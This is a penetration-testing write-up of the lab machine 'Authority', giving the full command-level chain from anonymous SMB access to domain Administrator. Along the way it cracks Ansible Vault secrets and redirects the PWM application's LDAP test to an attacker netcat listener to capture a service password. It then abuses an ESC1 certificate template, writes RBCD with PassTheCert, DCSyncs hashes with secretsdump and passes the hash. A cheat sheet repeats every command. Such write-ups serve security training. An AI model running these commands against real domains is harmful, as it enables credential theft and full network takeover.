π Authority
Machine: Authority
Difficulty: Medium
Theme: Anonymous SMB β exposed Ansible automation β Ansible Vault cracking β PWM configuration abuse β LDAP credential capture β AD CS ESC1 β PKINIT failure β Pass-the-Cert/Schannel β RBCD β S4U β DCSync β Administrator shell
π― Summary
Authority is a Windows Active Directory machine focused on misconfigured internal automation, password self-service software, and Active Directory Certificate Services abuse.
Initial enumeration identifies a domain controller exposing DNS, Kerberos, LDAP, SMB, WinRM, IIS, and an HTTPS Tomcat/PWM application on port 8443. Anonymous SMB access reveals a readable Development share containing Ansible automation roles for ADCS, LDAP, PWM, and share configuration.
The PWM Ansible role contains hardcoded Tomcat credentials and multiple Ansible Vault-encrypted variables. The Vault blocks are extracted, converted with ansible2john, cracked with Hashcat mode 16900, and decrypted with ansible-vault. This reveals PWM configuration credentials.
The normal PWM login fails because of LDAPS certificate validation, but the Configuration Editor is accessible with the recovered PWM configuration password. Inside the LDAP profile settings, the LDAP URL can be modified. By changing the LDAPS URL to a plaintext LDAP URL pointing to the attacker machine and triggering the LDAP profile test, the application performs a simple bind to the attacker listener and leaks the svc_ldap bind credential.
The captured svc_ldap credential gives WinRM access. AD CS enumeration with Certipy shows that the CorpVPN certificate template is vulnerable to ESC1: it allows enrollee-supplied subject identity, supports client authentication, requires no approval or signatures, and grants enrollment to Domain Computers.
The svc_ldap account can add computer accounts to the domain, and ms-DS-MachineAccountQuota is 10. A controlled computer account is created and used to request a certificate from the vulnerable CorpVPN template while supplying the Administrator UPN and SID.
Direct certificate authentication with Certipy fails with KDC_ERR_PADATA_TYPE_NOSUPP, meaning the KDC does not support the PKINIT path attempted by Certipy. The certificate is still useful. The PFX is split into a certificate and private key with OpenSSL, then used with PassTheCert over LDAPS/Schannel to authenticate as Administrator and write RBCD on the DC computer object.
The controlled machine account is then used with S4U to request a CIFS service ticket as Administrator to the domain controller. With the ticket loaded, secretsdump performs DCSync and recovers the Administrator NT hash. The hash is used with Evil-WinRM to obtain an Administrator shell and read root.txt.
1. Enumeration
Initial scanning showed a Windows domain controller.
Full TCP scan:
sudo nmap -p- --min-rate=5000 -T4 -vv -oA nmap/authority_portscan [TARGET_IP]Targeted service scan:
sudo nmap -sC -sV -vv -oA nmap/authority [TARGET_IP]Important services:
53/tcp domain
80/tcp http
88/tcp kerberos-sec
135/tcp msrpc
139/tcp netbios-ssn
389/tcp ldap
445/tcp microsoft-ds
464/tcp kpasswd5
593/tcp ncacn_http
636/tcp ldapssl
3268/tcp globalcatLDAP
3269/tcp globalcatLDAPssl
5985/tcp winrm
8443/tcp ssl/http
9389/tcp adwsThe host behaved like a domain controller:
Domain: authority.htb
Host: AUTHORITY
FQDN: authority.authority.htbThe LDAP certificate metadata also leaked certificate-services context and internal DNS names.
Hostnames were added to /etc/hosts:
echo "[TARGET_IP] authority.htb authority.authority.htb AUTHORITY.authority.htb authority.htb.corp" | sudo tee -a /etc/hostsNmap also showed clock skew, which became relevant later during Kerberos and certificate-based authentication.
2. Web Enumeration
Port 80 exposed a default IIS page and did not immediately provide useful content.
Port 8443 exposed the PWM application. The application could be reached through the target hostname:
https://authority.authority.htb:8443/pwm/private/loginDuring enumeration, Ansible/PWM configuration also referenced authority.htb.corp, showing that multiple internal naming schemes were present. For the attack workflow, authority.authority.htb was used because it matched the AD CS/LDAP hostnames and was added to /etc/hosts.
The application was in Configuration Mode, exposing links to:
/pwm/private/config/manager
/pwm/private/config/editorThe normal PWM login did not work because LDAP/LDAPS validation was broken. The error message was still useful because it disclosed that PWM was configured to bind to LDAP with a service account under:
CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htbAt this stage, the application looked interesting, but credentials were still needed to access the configuration interface.
3. SMB Enumeration
Anonymous SMB authentication was accepted:
nxc smb authority.htb -u '' -p ''Automated share enumeration with NetExec gave inconsistent or limited output, so SMB was checked manually.
Listing shares anonymously:
smbclient -N -L //authority.htb/Interesting shares:
Department Shares
Development
NETLOGON
SYSVOLDevelopment was readable anonymously:
smbclient -N //authority.htb/DevelopmentInside the share:
Automation/
βββ Ansible/
βββ ADCS/
βββ LDAP/
βββ PWM/
βββ SHARE/The full share was downloaded recursively:
smbclient //authority.htb/Development -U '%' -c 'recurse ON; prompt OFF; mget *'Important gotcha:
smbclient -L lists shares on the server. It does not connect to a specific share. To browse Development, the correct mode was an interactive connection to:
//authority.htb/DevelopmentThe noisy SMB1 workgroup message was not important:
Unable to connect with SMB1 -- no workgroup available4. Exposed Ansible Automation
The downloaded Development share contained Ansible roles.
High-value areas:
Automation/Ansible/PWM/defaults/main.yml
Automation/Ansible/PWM/templates/tomcat-users.xml.j2
Automation/Ansible/PWM/templates/context.xml.j2
Automation/Ansible/PWM/tasks/main.yml
Automation/Ansible/ADCS/The PWM Tomcat template contained hardcoded Tomcat credentials:
Automation/Ansible/PWM/templates/tomcat-users.xml.j2These credentials were noted but did not become the main path because the Tomcat Manager interface was not the useful exposed surface.
The more important file was:
Automation/Ansible/PWM/defaults/main.ymlIt contained Ansible Vault-encrypted values for:
pwm_admin_login
pwm_admin_password
ldap_admin_passwordThis pointed to recoverable application configuration secrets.
5. Cracking Ansible Vault Secrets
Each Vault block was copied into its own file.
Example shape:
$ANSIBLE_VAULT;1.1;AES256
<hex>
<hex>
<hex>Important formatting rules:
- one Vault block per file
- no YAML variable name
- no
!vault | - no leading whitespace
- no terminal line numbers
- no trailing shell artifacts
- preserve all hex lines
The Vault blocks sit indented under their YAML keys, and that leading whitespace breaks ansible2john. The quickest fix is to strip every space in vi/vim:
:%s/ //gReading the command: : enters command mode, % applies it to every line in the file, and s/ //g substitutes each space ( ) with nothing, globally (g) on each line. The Vault block is only the $ANSIBLE_VAULT... header plus hex lines β none of which contain meaningful spaces β so this just removes the indentation and leaves a clean file that ansible2john accepts.
The blocks were converted with ansible2john:
ansible2john pwm_admin_login
ansible2john pwm_admin_password
ansible2john ldap_admin_passwordThe $ansible$... hash lines were placed into one Hashcat input file.
Important gotcha:
Hashcat rejected the original ansible2john output when it included filename prefixes like:
pwm_admin_login:$ansible$...The fix was to strip the prefix so every line started directly with:
$ansible$...The Vault password was cracked with Hashcat mode 16900:
hashcat -m 16900 ansible_hashes.txt /usr/share/wordlists/rockyou.txtThe cracked value was the Ansible Vault password, not the final PWM/LDAP secret.
The original Vault files were decrypted with:
ansible-vault view pwm_admin_login
ansible-vault view pwm_admin_password
ansible-vault view ldap_admin_passwordRecovered values:
pwm_admin_login -> [PWM_CONFIG_USER]
pwm_admin_password -> [PWM_CONFIG_PASSWORD]
ldap_admin_password -> [LDAP_PASSWORD_CANDIDATE]Important gotcha:
The Vault password itself was not the PWM password. It was only the key needed to decrypt the stored variables.
6. PWM Configuration Editor Access
The recovered PWM configuration password was used against the PWM Configuration Editor, not the normal user login page.
Useful URLs:
https://authority.authority.htb:8443/pwm/private/config/editor
https://authority.authority.htb:8443/pwm/private/config/managerThe normal user login still failed due to LDAPS certificate validation. That was expected and did not invalidate the recovered PWM configuration credential.
Inside the Configuration Editor, the important section was:
LDAP β LDAP Directories β default β ConnectionThe LDAP profile showed:
LDAP URL: ldaps://authority.authority.htb:636
Proxy User: CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb
Proxy Pass: stored/hiddenThe page also had a Test LDAP Profile button.
This created a trust-boundary issue: PWM stored an LDAP bind credential and allowed the LDAP URL to be modified before testing the profile.
7. Capturing the LDAP Bind Credential
A listener was started on the attacker machine using the plaintext LDAP port:
sudo nc -lvnp 389The LDAP URL in PWM was changed from LDAPS to plaintext LDAP pointing to the attacker VPN IP:
ldap://[ATTACKER_TUN_IP]:389Then Test LDAP Profile was triggered.
The target connected back to the listener and sent a simple bind containing:
CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb
[svc_ldap password]Important parsing gotcha:
The bind output contained protocol bytes after the password. The trailing bytes were not part of the password.
The confirmed credential was added to creds.txt as:
svc_ldap:[SVC_LDAP_PASS]The PWM LDAP URL was restored afterward to avoid leaving the application broken.
8. Validating svc_ldap
The captured credential was validated:
nxc smb authority.htb -u 'svc_ldap' -p '[SVC_LDAP_PASS]'
nxc ldap authority.htb -u 'svc_ldap' -p '[SVC_LDAP_PASS]'
nxc winrm authority.htb -u 'svc_ldap' -p '[SVC_LDAP_PASS]'WinRM returned Pwn3d!, confirming interactive access.
A shell was opened:
evil-winrm -i authority.htb -u 'svc_ldap' -p '[SVC_LDAP_PASS]'Inside the shell:
whoami
whoami /priv
whoami /groupsRelevant privileges/groups:
SeMachineAccountPrivilege Add workstations to domain Enabled
BUILTIN\Remote Management Users
BUILTIN\Certificate Service DCOM AccessThe user flag was recovered from:
C:\Users\svc_ldap\Desktop\user.txt9. AD CS Enumeration
The earlier evidence pointed strongly toward AD CS:
- LDAP certificate metadata
- exposed
Automation/Ansible/ADCSrole Certificate Service DCOM Access- domain controller certificate services behavior
Certipy was used with the captured svc_ldap credential:
certipy find \
-u 'svc_ldap' \
-p '[SVC_LDAP_PASS]' \
-dc-ip [TARGET_IP] \
-vulnerableCertipy found one CA:
CA Name: AUTHORITY-CA
DNS Name: authority.authority.htbThe interesting vulnerable template was:
Template Name: CorpVPN
Enabled: True
Client Authentication: True
Enrollee Supplies Subject: True
Requires Manager Approval: False
Authorized Signatures Required: 0
Enrollment Rights: AUTHORITY.HTB\Domain Computers
Vulnerability: ESC1This was a confirmed ESC1 path.
The template was not directly enrollable by svc_ldap, but it was enrollable by Domain Computers.
That made SeMachineAccountPrivilege and MachineAccountQuota important.
10. Machine Account Quota
MachineAccountQuota was checked with NetExec:
nxc ldap authority.htb -u 'svc_ldap' -p '[SVC_LDAP_PASS]' -M maqOutput:
MachineAccountQuota: 10This confirmed authenticated users could create computer accounts.
The abuse logic:
svc_ldap can create computer accounts
β
new computer account becomes Domain Computers
β
Domain Computers can enroll in CorpVPN
β
CorpVPN is ESC1-vulnerable
β
controlled machine account can request a cert for Administrator identityImportant clarification:
Certificate Service DCOM Access was supporting context, not the main privilege. The core chain was:
SeMachineAccountPrivilege + MAQ 10 β controlled computer β Domain Computers β CorpVPN ESC111. Creating a Controlled Computer Account
A controlled computer account was created:
impacket-addcomputer 'authority.htb/svc_ldap:[SVC_LDAP_PASS]' \
-method LDAPS \
-computer-name 'EVIL01' \
-computer-pass '[MACHINE_PASS]' \
-dc-ip [TARGET_IP]Expected output:
Successfully added machine account EVIL01$ with password [MACHINE_PASS]The machine account was validated:
nxc smb authority.htb -u 'EVIL01$' -p '[MACHINE_PASS]'Expected good output:
[+] authority.htb\EVIL01$:[MACHINE_PASS]Important gotcha:
If NetExec shows (Guest), the machine authentication did not really work.
During exploitation, the first machine account later disappeared or became invalid, likely due to box reset/cleanup behavior. A fresh machine account was created and used immediately:
EVIL02$12. ESC1 Certificate Request
The first certificate request failed because the machine account was used without the trailing $.
Wrong principal shape:
EVIL01@authority.htbCorrect principal shape:
EVIL01$@authority.htbThe certificate was requested as the controlled computer account:
certipy req \
-u 'EVIL01$@authority.htb' \
-p '[MACHINE_PASS]' \
-dc-ip [TARGET_IP] \
-target 'authority.authority.htb' \
-ca 'AUTHORITY-CA' \
-template 'CorpVPN' \
-upn 'administrator@authority.htb'Certipy successfully issued a certificate:
Successfully requested certificate
Got certificate with UPN 'administrator@authority.htb'
Certificate has no object SID
Saving certificate and private key to 'administrator.pfx'Because the first certificate lacked an object SID, the Administrator SID was derived.
Inside Evil-WinRM as svc_ldap:
whoami /userOutput shape:
htb\svc_ldap S-1-5-21-AAA-BBB-CCC-1601The built-in domain Administrator RID is always 500, so:
Administrator SID = S-1-5-21-AAA-BBB-CCC-500The certificate was requested again with the Administrator SID:
certipy req \
-u 'EVIL01$@authority.htb' \
-p '[MACHINE_PASS]' \
-dc-ip [TARGET_IP] \
-target 'authority.authority.htb' \
-ca 'AUTHORITY-CA' \
-template 'CorpVPN' \
-upn 'administrator@authority.htb' \
-sid '[ADMINISTRATOR_SID]'Expected output:
Successfully requested certificate
Got certificate with UPN 'administrator@authority.htb'
Certificate object SID is '[ADMINISTRATOR_SID]'
Saving certificate and private key to 'administrator.pfx'13. Certipy Auth and PKINIT Failure
The certificate was tested with Certipy:
certipy auth \
-pfx administrator.pfx \
-domain authority.htb \
-dc-ip [TARGET_IP]Certipy correctly identified the Administrator UPN and SID, but TGT retrieval failed:
KDC_ERR_PADATA_TYPE_NOSUPPThis did not mean the certificate was bad.
It meant the KDC did not support the PKINIT pre-authentication path Certipy was trying to use.
The certificate was still useful as an Administrator authentication primitive via LDAPS/Schannel.
14. Splitting the PFX with OpenSSL
The PFX was split into a certificate and private key.
OpenSSL initially failed with:
Mac verify error: invalid password?The fix was to explicitly pass a blank PFX import password.
Extract private key:
openssl pkcs12 \
-in administrator.pfx \
-nocerts \
-out administrator.key \
-passin pass: \
-passout pass:[KEY_PASSPHRASE]Extract certificate:
openssl pkcs12 \
-in administrator.pfx \
-clcerts \
-nokeys \
-out administrator.crt \
-passin pass:Verification:
ls -l administrator.pfx administrator.crt administrator.key
openssl x509 -in administrator.crt -noout -subject -issuer
openssl rsa -in administrator.key -check -nooutExpected key verification:
RSA key okImportant gotcha:
The certificate subject showed the controlled computer account, but the useful Administrator identity was in the SAN/SID fields that Certipy had already shown.
15. Pass-the-Cert over LDAPS / Schannel
Since PKINIT failed, PassTheCert was used with the extracted certificate and private key.
First, certificate-based LDAP authentication was verified:
passthecert \
-dc-ip [TARGET_IP] \
-crt administrator.crt \
-key administrator.key \
-domain authority.htb \
-port 636 \
-action whoamiExpected output:
You are logged in as: HTB\AdministratorThis proved the certificate worked over LDAPS/Schannel as Administrator.
Next, RBCD was written to the DC computer object.
Correct relationship:
EVIL02$ can impersonate users to AUTHORITY$PassTheCert command:
passthecert \
-dc-ip [TARGET_IP] \
-crt administrator.crt \
-key administrator.key \
-domain authority.htb \
-port 636 \
-action write_rbcd \
-delegate-to 'AUTHORITY$' \
-delegate-from 'EVIL02$'Expected output:
Delegation rights modified successfully!
EVIL02$ can now impersonate users on AUTHORITY$ via S4U2ProxyImportant gotchas:
delegate-fromis the attacker-controlled machine account.delegate-tois the target computer object.- Do not reverse them.
- Include the trailing
$. - If the controlled machine account disappears, recreate a fresh one and retry.
16. S4U Ticket as Administrator
With RBCD in place, the controlled machine account was used to request a CIFS ticket as Administrator to the domain controller:
impacket-getST \
-spn 'cifs/AUTHORITY.authority.htb' \
-impersonate Administrator \
-dc-ip [TARGET_IP] \
'authority.htb/EVIL02$:[MACHINE_PASS]'Expected output:
Getting TGT for user
Impersonating Administrator
Requesting S4U2self
Requesting S4U2Proxy
Saving ticket in Administrator@cifs_AUTHORITY.authority.htb@AUTHORITY.HTB.ccacheThe ticket was loaded:
export KRB5CCNAME="$(pwd)/Administrator@cifs_AUTHORITY.authority.htb@AUTHORITY.HTB.ccache"
klistExpected ticket:
cifs/AUTHORITY.authority.htb@AUTHORITY.HTBImportant gotcha:
The generated ccache file had a long name. Exporting a non-existent Administrator.ccache caused klist to fail. Use the exact filename created by getST.
17. DCSync with secretsdump
The first secretsdump attempt silently returned only:
[*] Cleaning up...The ticket was valid, but the target hostname did not match the ticket SPN exactly.
klist showed the ticket was for:
cifs/AUTHORITY.authority.htb@AUTHORITY.HTBThe fix was to align the target hostname exactly and use -target-ip for the actual IP.
Working pattern:
impacket-secretsdump \
-k -no-pass \
-target-ip [TARGET_IP] \
'authority.htb/Administrator@AUTHORITY.authority.htb' \
-just-dc-ntlmSuccessful output included domain hashes:
[*] Dumping Domain Credentials
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:...:[ADMIN_NT_HASH]:::Important gotcha:
Kerberos/SPN handling in Impacket can be case-sensitive or at least case-picky. Copy the hostname exactly from klist.
18. Administrator Shell
The Administrator NT hash was used with Evil-WinRM pass-the-hash:
evil-winrm -i authority.htb -u administrator -H '[ADMIN_NT_HASH]'Administrator access was confirmed:
whoamiExpected output:
htb\administratorThe root flag was recovered from:
C:\Users\Administrator\Desktop\root.txtπ Condensed Attack Chain
Initial scan
β
Windows domain controller identified
β
/etc/hosts configured
β
PWM discovered on 8443
β
Anonymous SMB access accepted
β
Development share readable
β
Ansible automation downloaded recursively
β
PWM Ansible role inspected
β
Tomcat creds found but not useful
β
Ansible Vault blocks found in PWM defaults
β
Vault blocks cleaned into separate files
β
ansible2john converts Vault blocks
β
Hashcat mode 16900 cracks Vault password
β
ansible-vault decrypts PWM variables
β
PWM config password recovered
β
PWM Configuration Editor accessed
β
LDAP profile found
β
LDAP URL changed from LDAPS to attacker-controlled plaintext LDAP
β
Test LDAP Profile triggered
β
Netcat listener captures svc_ldap bind credential
β
svc_ldap validated over SMB/LDAP/WinRM
β
WinRM as svc_ldap
β
user.txt recovered
β
AD CS enumerated with Certipy
β
CorpVPN template identified as ESC1
β
Template enrollable by Domain Computers
β
svc_ldap has SeMachineAccountPrivilege
β
MachineAccountQuota confirmed as 10
β
Controlled computer account created
β
Computer account requests CorpVPN certificate for Administrator UPN/SID
β
administrator.pfx obtained
β
certipy auth fails with KDC_ERR_PADATA_TYPE_NOSUPP
β
PFX split into CRT and KEY with OpenSSL
β
PassTheCert authenticates over LDAPS as Administrator
β
RBCD written: EVIL02$ can impersonate to AUTHORITY$
β
getST obtains CIFS S4U ticket as Administrator
β
KRB5CCNAME set to generated ccache
β
secretsdump uses ticket to DCSync domain hashes
β
Administrator NT hash recovered
β
Evil-WinRM pass-the-hash as Administrator
β
root.txt recoveredπ§ Key Takeaways
Anonymous SMB access should be tested manually when automated tooling gives inconsistent results. smbclient revealed the readable Development share cleanly.
Internal automation shares are high-value. Ansible roles often contain inventory, application configuration, templates, deployment defaults, and secrets.
Ansible Vault is not protection if Vault-encrypted blobs are exposed and the Vault password is weak. The workflow is: extract Vault block β clean formatting β ansible2john β Hashcat mode 16900 β ansible-vault view.
The cracked Hashcat value is the Vault password, not the final application secret. The original Vault files still need to be decrypted.
Hardcoded Tomcat credentials were worth noting but not worth chasing once no useful Tomcat Manager path was exposed.
PWM normal login and PWM configuration access are different surfaces. The normal login failed because LDAPS validation was broken, but the Configuration Editor accepted the recovered PWM config password.
Application βtest connectionβ features are dangerous when they use stored credentials and allow the destination URL to be changed.
Switching from ldaps:// to ldap:// exposed the LDAP simple bind credential to a netcat listener.
Protocol junk after a captured LDAP password should not be included as part of the password.
NetExec (Guest) output should not be treated as valid domain authentication.
Certipy output should be read carefully. The important ESC1 conditions were: client authentication, enrollee-supplied subject, no approval, no signatures, and enrollment by a controllable group.
Certificate Service DCOM Access was supporting context, but the real ESC1 enabling path was SeMachineAccountPrivilege plus MachineAccountQuota: 10.
Machine accounts need the trailing $ when authenticating.
If a cert request succeeds but Certipy says the certificate has no object SID, derive the Administrator SID from the domain SID and re-request with -sid.
KDC_ERR_PADATA_TYPE_NOSUPP does not mean the certificate is useless. It means the direct PKINIT route is not supported. Schannel/LDAPS can still work.
PassTheCert can use a certificate over LDAPS to authenticate as the mapped identity and modify LDAP objects.
RBCD direction matters: delegate-from is the attacker-controlled machine account; delegate-to is the target computer object.
Do not try to WinRM as the machine account after RBCD. Use the machine account to request an S4U service ticket impersonating Administrator.
Kerberos ccache filenames generated by Impacket can be long. Always export the exact filename and verify with klist.
Impacket Kerberos target strings can be hostname/case-sensitive. Copy the service hostname exactly from klist, and use -target-ip for the IP.
β‘ Commands Cheat Sheet
Host setup
echo "[TARGET_IP] authority.htb authority.authority.htb AUTHORITY.authority.htb authority.htb.corp" | sudo tee -a /etc/hosts
sudo ntpdate [TARGET_IP]Initial scan
sudo nmap -p- --min-rate=5000 -T4 -vv -oA nmap/authority_portscan [TARGET_IP]
sudo nmap -sC -sV -vv -oA nmap/authority [TARGET_IP]SMB enumeration
nxc smb authority.htb -u '' -p ''
smbclient -N -L //authority.htb/
smbclient -N //authority.htb/Development
smbclient //authority.htb/Development -U '%' -c 'recurse ON; prompt OFF; mget *'Search downloaded automation
tree Automation/Ansible
grep -RniE 'password|passwd|secret|vault|ldap|bind|pwm|tomcat|cert|ca' Automation/AnsibleAnsible Vault extraction
ansible2john pwm_admin_login
ansible2john pwm_admin_password
ansible2john ldap_admin_passwordCrack:
hashcat -m 16900 ansible_hashes.txt /usr/share/wordlists/rockyou.txtDecrypt original Vault files:
ansible-vault view pwm_admin_login
ansible-vault view pwm_admin_password
ansible-vault view ldap_admin_passwordPWM LDAP credential capture
Listener:
sudo nc -lvnp 389PWM LDAP URL:
ldap://[ATTACKER_TUN_IP]:389Trigger:
PWM Configuration Editor β LDAP Directories β default β Connection β Test LDAP ProfileValidate svc_ldap
nxc smb authority.htb -u 'svc_ldap' -p '[SVC_LDAP_PASS]'
nxc ldap authority.htb -u 'svc_ldap' -p '[SVC_LDAP_PASS]'
nxc winrm authority.htb -u 'svc_ldap' -p '[SVC_LDAP_PASS]'WinRM:
evil-winrm -i authority.htb -u 'svc_ldap' -p '[SVC_LDAP_PASS]'AD CS enumeration
certipy find \
-u 'svc_ldap' \
-p '[SVC_LDAP_PASS]' \
-dc-ip [TARGET_IP] \
-vulnerableMachineAccountQuota
nxc ldap authority.htb -u 'svc_ldap' -p '[SVC_LDAP_PASS]' -M maqCreate computer account
impacket-addcomputer 'authority.htb/svc_ldap:[SVC_LDAP_PASS]' \
-method LDAPS \
-computer-name 'EVIL02' \
-computer-pass '[MACHINE_PASS]' \
-dc-ip [TARGET_IP]Validate:
nxc smb authority.htb -u 'EVIL02$' -p '[MACHINE_PASS]'Request ESC1 certificate
Get domain SID from WinRM:
whoami /userAdministrator SID:
<DOMAIN_SID>-500Request certificate:
certipy req \
-u 'EVIL02$@authority.htb' \
-p '[MACHINE_PASS]' \
-dc-ip [TARGET_IP] \
-target 'authority.authority.htb' \
-ca 'AUTHORITY-CA' \
-template 'CorpVPN' \
-upn 'administrator@authority.htb' \
-sid '[ADMINISTRATOR_SID]'Test direct auth:
certipy auth \
-pfx administrator.pfx \
-domain authority.htb \
-dc-ip [TARGET_IP]Split PFX
openssl pkcs12 \
-in administrator.pfx \
-nocerts \
-out administrator.key \
-passin pass: \
-passout pass:[KEY_PASSPHRASE]
openssl pkcs12 \
-in administrator.pfx \
-clcerts \
-nokeys \
-out administrator.crt \
-passin pass:Verify:
openssl x509 -in administrator.crt -noout -subject -issuer
openssl rsa -in administrator.key -check -nooutPassTheCert whoami
passthecert \
-dc-ip [TARGET_IP] \
-crt administrator.crt \
-key administrator.key \
-domain authority.htb \
-port 636 \
-action whoamiWrite RBCD
passthecert \
-dc-ip [TARGET_IP] \
-crt administrator.crt \
-key administrator.key \
-domain authority.htb \
-port 636 \
-action write_rbcd \
-delegate-to 'AUTHORITY$' \
-delegate-from 'EVIL02$'S4U ticket as Administrator
impacket-getST \
-spn 'cifs/AUTHORITY.authority.htb' \
-impersonate Administrator \
-dc-ip [TARGET_IP] \
'authority.htb/EVIL02$:[MACHINE_PASS]'Export ticket:
export KRB5CCNAME="$(pwd)/Administrator@cifs_AUTHORITY.authority.htb@AUTHORITY.HTB.ccache"
klistDCSync with ticket
impacket-secretsdump \
-k -no-pass \
-target-ip [TARGET_IP] \
'authority.htb/Administrator@AUTHORITY.authority.htb' \
-just-dc-ntlmAdministrator shell
evil-winrm -i authority.htb -u administrator -H '[ADMIN_NT_HASH]'π§ Diagnostic Map
Symptom: smbclient -L //host/share only lists shares
Meaning: -L is share-listing mode, not share-browsing mode
Next: Connect interactively to //host/share without -L
Symptom: Unable to connect with SMB1 -- no workgroup available
Meaning: SMB1 workgroup browsing failed after useful SMB2/3 enumeration
Next: Ignore unless the main share operation failed
Symptom: smbget behaves strangely with anonymous auth
Meaning: Tool-specific auth/parsing issue
Next: Use smbclient recursive mget
Symptom: Hashcat says Signature unmatched for Ansible Vault hashes
Meaning: The filename: prefix from ansible2john is still present
Next: Strip the prefix so lines start with $ansible$
Symptom: ansible2john raises odd-length string
Meaning: Vault block has a stray character, missing nibble, or bad copy
Next: Re-copy the block cleanly and remove terminal artifacts
Symptom: PWM normal login fails with LDAPS errors Meaning: User login depends on broken LDAPS validation Next: Use Configuration Editor instead
Symptom: Netcat capture shows readable password plus trailing junk Meaning: LDAP BER/protocol bytes follow the password Next: Extract only the password-looking string
Symptom: NetExec shows (Guest) after credential validation
Meaning: Authentication fell back to guest
Next: Treat as failed and check username/password spelling
Symptom: Certipy says template enrollable by Domain Computers
Meaning: A normal user cannot directly enroll unless they are a computer account
Next: Create a controlled machine account if MAQ allows it
Symptom: Machine account cert request fails with unknown RPC fault
Meaning: Often wrong principal/request formatting
Next: Use EVIL02$@domain, quote the $, verify CA/template/target
Symptom: Certipy says certificate has no object SID
Meaning: Strong mapping may fail
Next: Re-request with Administrator SID: <DOMAIN_SID>-500
Symptom: Certipy auth fails with KDC_ERR_PADATA_TYPE_NOSUPP
Meaning: PKINIT path unsupported by the KDC
Next: Use Pass-the-Cert over LDAPS/Schannel
Symptom: OpenSSL says Mac verify error: invalid password?
Meaning: PFX import password handling issue
Next: Try explicit blank password with -passin pass:
Symptom: PassTheCert says controlled computer account not found Meaning: Machine account may not exist anymore or name is wrong Next: Verify with LDAP/SMB, recreate a fresh machine account
Symptom: RBCD write succeeds but Evil-WinRM as machine account is weird
Meaning: Machine account itself is not the goal
Next: Use getST to impersonate Administrator via S4U
Symptom: klist says no credentials cache
Meaning: KRB5CCNAME points to the wrong ccache filename
Next: Export the exact file created by getST
Symptom: secretsdump only prints Cleaning up
Meaning: Ticket/target hostname mismatch
Next: Copy the SPN hostname exactly from klist and use -target-ip
Symptom: Kerberos errors mention skew
Meaning: Attacker and DC time differ
Next: sudo ntpdate [TARGET_IP]
π Related Manual Notes
Field-manual techniques demonstrated on this box:
- SMB_Ports_139_445 β anonymous shares, recursive share mirroring, enumeration pitfalls
- Password_Cracking_Hashcat β Ansible Vault cracking (mode
16900) - NetExec_LDAP_Kerberos β LDAP bind behavior, LDAP vs LDAPS, Kerberos auth
- Windows_Remote_Management_RDP_WinRM_WMI β WinRM foothold as
svc_ldap - Pass_the_Certificate β AD CS ESC1, certificate auth, Schannel/LDAPS pass-the-cert
- AD_Kerberos_Double_Hop β RBCD write and S4U2Proxy delegation
- AD_DCSync β domain hash dumping with
secretsdump - Pass_the_Hash β Evil-WinRM with the Administrator NT hash
π Personal Notes
Authority was a very good CPTS-style machine because it chained realistic administrative mistakes instead of relying on a single exploit.
The first important lesson was not to trust one SMB tool. NetExec and smbget were inconsistent, but manual smbclient enumeration exposed the readable Development share. That share was the real starting point.
The second lesson was that internal automation is often credential-rich. The Ansible roles exposed exactly the kind of material that matters during an internal assessment: service configuration, app deployment files, LDAP settings, certificate-service hints, and protected secrets.
The Ansible Vault stage was a good workflow reminder. The raw Vault blocks had to be copied cleanly, whitespace had to be removed, and the ansible2john output had to be cleaned before Hashcat accepted it. The cracked value was only the Vault password; the real application secrets still required ansible-vault view.
The PWM stage reinforced the difference between user login and administrative configuration access. The normal login failed due to LDAPS certificate issues, but the Configuration Editor was still accessible. The failure message itself leaked the LDAP bind DN, which made the next step clearer.
The LDAP test feature was the key foothold. Changing the LDAP URL from LDAPS to plaintext LDAP and pointing it at a netcat listener caused PWM to leak the stored svc_ldap bind credential. This was a good example of abusing legitimate βtest connectionβ functionality rather than exploiting memory corruption or brute forcing.
The AD CS stage was the main privilege escalation. Certipyβs output needed to be read carefully. The critical detail was not just βESC1 exists,β but that CorpVPN was enrollable by Domain Computers. That only became exploitable because svc_ldap could create machine accounts and MachineAccountQuota was 10.
The certificate authentication stage had several important gotchas. First, the machine account needed the trailing $. Second, the first certificate lacked an object SID, so the Administrator SID had to be derived from the domain SID. Third, certipy auth failed with KDC_ERR_PADATA_TYPE_NOSUPP, but that did not invalidate the certificate. It only meant direct PKINIT was unavailable.
The Pass-the-Cert fallback was the most important troubleshooting moment. The Administrator certificate worked over LDAPS/Schannel, which allowed RBCD to be written manually. From there, the machine account became a delegation primitive rather than a login account.
The final Kerberos step reinforced that tooling can be very sensitive to names. The S4U ticket was valid, but secretsdump initially produced no hashes because the target hostname did not match the ticket SPN. Copying the exact hostname from klist and using -target-ip fixed the issue.
Overall methodology:
Enumerate services carefully. Treat readable automation shares as high-value. Crack protected config only after preserving clean inputs. Validate every credential in context. Use application configuration features against stored credentials. Let AD CS template permissions dictate the abuse path. When PKINIT fails, consider Schannel. Verify delegation writes. Inspect klist before using Kerberos tickets. Match SPNs exactly when using Impacket.